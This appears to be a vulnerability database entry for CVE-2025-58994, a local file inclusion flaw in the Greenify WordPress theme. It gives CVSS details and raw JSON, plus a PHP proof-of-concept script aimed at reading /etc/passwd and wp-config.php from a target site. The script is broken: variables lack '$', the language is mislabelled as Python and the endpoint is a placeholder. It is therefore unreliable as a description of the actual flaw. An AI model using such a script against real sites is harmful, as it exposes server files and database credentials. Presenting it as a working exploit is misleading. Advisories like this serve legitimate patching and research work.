Security Vulnerability Report
中文
CVE-2025-58994 CVSS 8.1 HIGH

CVE-2025-58994

Published: 2025-11-06 16:16:01
Last Modified: 2026-04-27 20:16:23

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in designervily Greenify greenify allows PHP Local File Inclusion.This issue affects Greenify: from n/a through <= 2.2.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Greenify <= 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-58994 PoC - Greenify Theme LFI // Usage: php poc.php [target_url] $target = $argv[1] ?? 'http://target-site.com'; // Read sensitive files via LFI evil_file = '/wp-content/themes/greenify/some-endpoint.php?file=/etc/passwd'; // Directory traversal to read wp-config.php evil_file2 = '/wp-content/themes/greenify/some-endpoint.php?file=../../wp-config.php'; echo "[*] CVE-2025-58994 PoC - Greenify Theme LFI\n"; echo "[*] Target: {$target}\n\n"; // Send request to read /etc/passwd echo "[+] Attempting to read /etc/passwd...\n"; $url = $target . $evil_file; $response = file_get_contents($url); echo $response . "\n\n"; // Send request to read wp-config.php echo "[+] Attempting to read wp-config.php...\n"; $url2 = $target . $evil_file2; $response2 = file_get_contents($url2); echo $response2 . "\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58994", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:00.833", "lastModified": "2026-04-27T20:16:23.470", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in designervily Greenify greenify allows PHP Local File Inclusion.This issue affects Greenify: from n/a through <= 2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/greenify/vulnerability/wordpress-greenify-theme-2-2-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}